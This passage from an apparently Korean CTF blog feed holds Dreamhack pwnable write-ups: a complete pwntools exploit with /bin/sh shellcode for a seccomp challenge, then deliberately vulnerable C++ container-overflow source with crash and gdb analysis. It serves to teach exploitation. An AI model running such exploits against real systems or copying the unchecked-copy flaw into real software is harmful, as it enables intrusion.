</span></span></code></pre></div><p>STRICT_MODE는 1, FILTER_MODE는 2이다. 따라서 해당 주소의 값을 2로 바꾸고 아무 쉘코드를 실행하면 플래그를 얻을 수 있다.</p>
<p>익스플로잇 코드는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="n">context</span><span class="o">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#context.log_level = &#39;debug&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#p = remote(&#34;host3.dreamhack.games&#34;, 16715);</span>
</span></span><span class="line"><span class="cl"><span class="c1">#p = process(&#34;./iofile_vtable_check&#34;, env={&#39;LD_PRELOAD&#39;:&#39;./libc.so.6&#39;})</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s2">&#34;./seccomp&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#elf = ELF(&#34;./cpp_container_1&#34;)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#libc = ELF(&#34;./libc.so.6&#34;)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">mode</span> <span class="o">=</span> <span class="mh">0x602090</span>
</span></span><span class="line"><span class="cl"><span class="n">shell</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;</span><span class="se">\x48\x31\xc9\x48\xf7\xe1\x04\x3b\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;3&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s2">&#34;addr: &#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">mode</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s2">&#34;value: &#34;</span><span class="p">,</span> <span class="s2">&#34;2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s2">&#34;shellcode: &#34;</span><span class="p">,</span> <span class="n">shell</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s2">&#34;&gt; &#34;</span><span class="p">,</span> <span class="s2">&#34;2&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span></code></pre></div>]]></content:encoded></item><item><title>[Dreamhack] PWN cpp_container_1</title><link>https://dig06161.github.io/2023/03/23/dreamhack-pwn-cpp_container_1/</link><pubDate>Thu, 23 Mar 2023 18:00:00 +0900</pubDate><guid>https://dig06161.github.io/2023/03/23/dreamhack-pwn-cpp_container_1/</guid><description>드림핵 포너블 cpp_container_1 문제풀이</description><content:encoded><![CDATA[<p>level3 문제이다. 난이도가 있을 줄 알고 이것저것 삽질을 좀 했는데 생각보다 어이없게 풀린 문제다. 우선 C++의 vactor 컨테이너에서 발생하는 메모리 커럽션을 이용해 문제를 풀어야 한다.</p>
<p>우선 소스코드를 먼저 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c++" data-lang="c++"><span class="line"><span class="cl"><span class="c1">// g++ -o pwn-container-overflow-1 pwn-container-overflow-1.cpp -no-pie
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;vector&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdlib&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;csignal&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">alarm_handler</span><span class="p">(</span><span class="kt">int</span> <span class="n">trash</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;TIME OUT&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">initialize</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">signal</span><span class="p">(</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">alarm_handler</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">alarm</span><span class="p">(</span><span class="mi">30</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">print_menu</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;container system!&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;1. make container&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;2. modify container&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;3. copy container&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;4. view container&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;5. exit system&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;[*] select menu: &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Menu</span><span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="k">public</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">	<span class="n">Menu</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="n">Menu</span><span class="p">(</span><span class="k">const</span> <span class="n">Menu</span><span class="o">&amp;</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fp</span><span class="p">)(</span><span class="kt">void</span><span class="p">)</span> <span class="o">=</span> <span class="n">print_menu</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">getshell</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">	<span class="n">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">make_container</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;</span> <span class="o">&amp;</span><span class="n">src</span><span class="p">,</span> <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;</span> <span class="o">&amp;</span><span class="n">dest</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Input container1 data&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">data</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">for</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;::</span><span class="n">iterator</span> <span class="n">iter</span> <span class="o">=</span> <span class="n">src</span><span class="p">.</span><span class="n">begin</span><span class="p">();</span> <span class="n">iter</span> <span class="o">!=</span> <span class="n">src</span><span class="p">.</span><span class="n">end</span><span class="p">();</span> <span class="n">iter</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">		<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;input: &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">data</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="o">*</span><span class="n">iter</span> <span class="o">=</span> <span class="n">data</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Input container2 data&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">for</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;::</span><span class="n">iterator</span> <span class="n">iter</span> <span class="o">=</span> <span class="n">dest</span><span class="p">.</span><span class="n">begin</span><span class="p">();</span> <span class="n">iter</span> <span class="o">!=</span> <span class="n">dest</span><span class="p">.</span><span class="n">end</span><span class="p">();</span> <span class="n">iter</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">		<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;input: &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">data</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="o">*</span><span class="n">iter</span> <span class="o">=</span> <span class="n">data</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">modify_container</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;</span> <span class="o">&amp;</span><span class="n">src</span><span class="p">,</span> <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;</span> <span class="o">&amp;</span><span class="n">dest</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">size</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Input container1 size&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">src</span><span class="p">.</span><span class="n">resize</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;Input container2 size&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">dest</span><span class="p">.</span><span class="n">resize</span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">copy_container</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;</span> <span class="o">&amp;</span><span class="n">src</span><span class="p">,</span> <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;</span> <span class="o">&amp;</span><span class="n">dest</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">copy</span><span class="p">(</span><span class="n">src</span><span class="p">.</span><span class="n">begin</span><span class="p">(),</span> <span class="n">src</span><span class="p">.</span><span class="n">end</span><span class="p">(),</span> <span class="n">dest</span><span class="p">.</span><span class="n">begin</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;copy complete!&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">view_container</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;</span> <span class="o">&amp;</span><span class="n">src</span><span class="p">,</span> <span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;</span> <span class="o">&amp;</span><span class="n">dest</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;container1 data: [&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">for</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;::</span><span class="n">iterator</span> <span class="n">iter</span> <span class="o">=</span> <span class="n">src</span><span class="p">.</span><span class="n">begin</span><span class="p">();</span> <span class="n">iter</span> <span class="o">!=</span> <span class="n">src</span><span class="p">.</span><span class="n">end</span><span class="p">();</span> <span class="n">iter</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">		<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="o">*</span><span class="n">iter</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;, &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;]&#34;</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;container2 data: [&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="k">for</span><span class="p">(</span><span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;::</span><span class="n">iterator</span> <span class="n">iter</span> <span class="o">=</span> <span class="n">dest</span><span class="p">.</span><span class="n">begin</span><span class="p">();</span> <span class="n">iter</span> <span class="o">!=</span> <span class="n">dest</span><span class="p">.</span><span class="n">end</span><span class="p">();</span> <span class="n">iter</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">		<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="o">*</span><span class="n">iter</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;, &#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;]&#34;</span> <span class="o">&lt;&lt;</span> <span class="s">&#34;</span><span class="se">\n</span><span class="s">&#34;</span> <span class="o">&lt;&lt;</span> <span class="n">std</span><span class="o">::</span><span class="n">endl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">	<span class="n">initialize</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;</span> <span class="n">src</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="n">std</span><span class="o">::</span><span class="n">vector</span><span class="o">&lt;</span><span class="kt">int</span><span class="o">&gt;</span> <span class="n">dest</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">	<span class="n">Menu</span> <span class="o">*</span><span class="n">menu</span> <span class="o">=</span> <span class="k">new</span> <span class="n">Menu</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> <span class="n">selector</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	
</span></span><span class="line"><span class="cl">	<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">		<span class="n">menu</span><span class="o">-&gt;</span><span class="n">fp</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">		<span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">selector</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="k">switch</span><span class="p">(</span><span class="n">selector</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">			<span class="k">case</span> <span class="mi">1</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">				<span class="n">make_container</span><span class="p">(</span><span class="n">src</span><span class="p">,</span> <span class="n">dest</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">case</span> <span class="mi">2</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">				<span class="n">modify_container</span><span class="p">(</span><span class="n">src</span><span class="p">,</span> <span class="n">dest</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">case</span> <span class="mi">3</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">				<span class="n">copy_container</span><span class="p">(</span><span class="n">src</span><span class="p">,</span> <span class="n">dest</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">case</span> <span class="mi">4</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">				<span class="n">view_container</span><span class="p">(</span><span class="n">src</span><span class="p">,</span> <span class="n">dest</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">				<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">case</span> <span class="mi">5</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">				<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">				<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">			<span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">				<span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>코드를 살펴보면 4가지 기능이 있다. 1번은 설정된 길이만큼 데이터를 입력 받는다. 2번으로 컨테이너 사이즈를 변경한다. 3번을 통해서 1번 컨테이너 값을 2번 컨테이너로 복사한다. 4번을 통해 컨테이너 내용을 출력한다.</p>
<p>여기서 중점으로 봐야할 부분은 copy_container 부분이다. 컨테이서를 복사하게 되는데 사이즈에 대한 검증이 따로 없는 것을 확인 할 수 있다. 따라서 바이너리를 실행 시키고 1번 컨테이너 크기를 큰 값으로, 2번 컨테이너를 1로 주어 copy를 시도하면 크래쉬가 발생한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">root@9f72a2a108e4:/home# ./cpp_container_1
</span></span><span class="line"><span class="cl">container system!
</span></span><span class="line"><span class="cl">1. make container
</span></span><span class="line"><span class="cl">2. modify container
</span></span><span class="line"><span class="cl">3. copy container
</span></span><span class="line"><span class="cl">4. view container
</span></span><span class="line"><span class="cl">5. exit system
</span></span><span class="line"><span class="cl">[*] select menu: 2
</span></span><span class="line"><span class="cl">Input container1 size
</span></span><span class="line"><span class="cl">100
</span></span><span class="line"><span class="cl">Input container2 size
</span></span><span class="line"><span class="cl">1
</span></span><span class="line"><span class="cl">container system!
</span></span><span class="line"><span class="cl">1. make container
</span></span><span class="line"><span class="cl">2. modify container
</span></span><span class="line"><span class="cl">3. copy container
</span></span><span class="line"><span class="cl">4. view container
</span></span><span class="line"><span class="cl">5. exit system
</span></span><span class="line"><span class="cl">[*] select menu: 3
</span></span><span class="line"><span class="cl">copy complete!
</span></span><span class="line"><span class="cl">Segmentation fault (core dumped)
</span></span></code></pre></div><p>Segmentation fault가 발생하는 부분을 gdb를 통해 따라가 보자.</p>
<p>1번 컨테이너 크기는 10, 2번 컨테이너는 1를 주고 3번 메뉴를 통해 copy를 시도한다.
오류가 발생하는 부분은 copy_container 함수가 끝나고 main에서 발생한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">menu-&gt;fp();
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">0040154c 48 8b 45 a8     MOV        RAX,qword ptr [RBP + local_60]
</span></span><span class="line"><span class="cl">00401550 48 8b 00        MOV        RAX,qword ptr [RAX]
</span></span><span class="line"><span class="cl">00401553 ff d0           CALL       RAX
</span></span></code></pre></div><p>위 부분에서 문제가 발생하며 어셈블리에는 RAX를 CALL 하는 부분이다. 이 부분에 bp를 걸고 살펴보자.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">RAX  0x900000009
</span></span><span class="line"><span class="cl"> RBX  0x2500c60 ◂— 0x900000009 /* &#39;\t&#39; */
</span></span><span class="line"><span class="cl"> RCX  0x0
</span></span><span class="line"><span class="cl"> RDX  0x0
</span></span><span class="line"><span class="cl"> RDI  0x7f7eefa0d620 (_IO_2_1_stdout_) ◂— 0xfbad2887
</span></span><span class="line"><span class="cl"> RSI  0x7f7eefa0e780 (_IO_stdfile_1_lock) ◂— 0x0
</span></span><span class="line"><span class="cl"> R8   0x7f7eefa0e780 (_IO_stdfile_1_lock) ◂— 0x0
</span></span><span class="line"><span class="cl"> R9   0x7f7ef01c2740 ◂— 0x7f7ef01c2740
</span></span><span class="line"><span class="cl"> R10  0x1
</span></span><span class="line"><span class="cl"> R11  0x246
</span></span><span class="line"><span class="cl"> R12  0x400e00 (_start) ◂— xor ebp, ebp
</span></span><span class="line"><span class="cl"> R13  0x7ffdd3544370 ◂— 0x1
</span></span><span class="line"><span class="cl"> R14  0x0
</span></span><span class="line"><span class="cl"> R15  0x0
</span></span><span class="line"><span class="cl"> RBP  0x7ffdd3544290 —▸ 0x402b40 (__libc_csu_init) ◂— push r15
</span></span><span class="line"><span class="cl"> RSP  0x7ffdd3544230 ◂— 0x300000470
</span></span><span class="line"><span class="cl">*RIP  0x401553 (main+174) ◂— call rax
</span></span><span class="line"><span class="cl">───────────────[ DISASM / x86-64 / set emulate on ]───────────────
</span></span><span class="line"><span class="cl">   0x40154c &lt;main+167&gt;    mov    rax, qword ptr [rbp - 0x58]
</span></span><span class="line"><span class="cl">   0x401550 &lt;main+171&gt;    mov    rax, qword ptr [rax]
</span></span><span class="line"><span class="cl"> ► 0x401553 &lt;main+174&gt;    call   rax                           &lt;0x900000009&gt;
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">   0x401555 &lt;main+176&gt;    lea    rax, [rbp - 0x5c]
</span></span><span class="line"><span class="cl">   0x401559 &lt;main+180&gt;    mov    rsi, rax
</span></span><span class="line"><span class="cl">   0x40155c &lt;main+183&gt;    mov    edi, std::cin@@GLIBCXX_3.4    &lt;0x604100&gt;
</span></span><span class="line"><span class="cl">   0x401561 &lt;main+188&gt;    call   std::istream::operator&gt;&gt;(int&amp;)@plt                      &lt;std::istream::operator&gt;&gt;(int&amp;)@plt&gt;
</span></span><span class="line"><span class="cl"> 
</span></span><span class="line"><span class="cl">   0x401566 &lt;main+193&gt;    mov    eax, dword ptr [rbp - 0x5c]
</span></span><span class="line"><span class="cl">   0x401569 &lt;main+196&gt;    cmp    eax, 5
